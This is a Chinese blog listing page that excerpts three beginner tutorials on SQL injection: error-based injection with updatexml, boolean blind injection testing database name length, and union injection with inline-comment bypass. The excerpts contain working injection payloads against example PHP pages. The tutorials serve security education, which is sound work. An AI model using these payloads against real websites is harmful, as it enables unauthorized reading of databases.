SQL篇
hunter_76
这个作者很懒,什么都没留下…
展开
-
SQL注入基础 报错注入(三)
数据库报错 当访问链接/error.php?username=1,页面是正常的,如果多了一个单引号而报错,/error.php?username=1',输出的界面如下图所示: updatexml获取user() 报错注入有多种格式,这里使用updatexml。 /error.php?username=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ updatexml获取database() /error.php?u..原创 2021-09-05 16:22:35 · 157 阅读 · 0 评论 -
SQL注入基础 布尔盲注(二)
布尔盲注的经典例子 https://www.ichunqiu.com/battalion?t=1&r=68487 测试语句 判断库名长度 构造SQL判断语句,查看页面返回结果推测哪些SQL判断条件是成立的。 这里假设数据库库名的长度为3。 返回结果分为2种,即yes,和no。 /boolean.php?id=1' and length(database())>=1--+ //页面返回结果为yes /boolean.php?id=1' and length(databas.原创 2021-09-05 12:30:37 · 111 阅读 · 0 评论 -
SQL注入基础 union(一)
Mysql为例: 需要记住几个函数 database() version() user() 内联注释 index.php?id=-15 /*!union*/ /*!select/ 1,2,3 注意:SQL语句中可以尝试空格代替“+”,或“+”代替空格 例如: index.php?id=1 and 1=2 index.php?id=1+and+1=2 数字型 union注入 id = 1 and 1=1 //网页正常 id = 1 and 1=2 //网页不正常 order b原创 2021-09-02 20:23:06 · 102 阅读 · 0 评论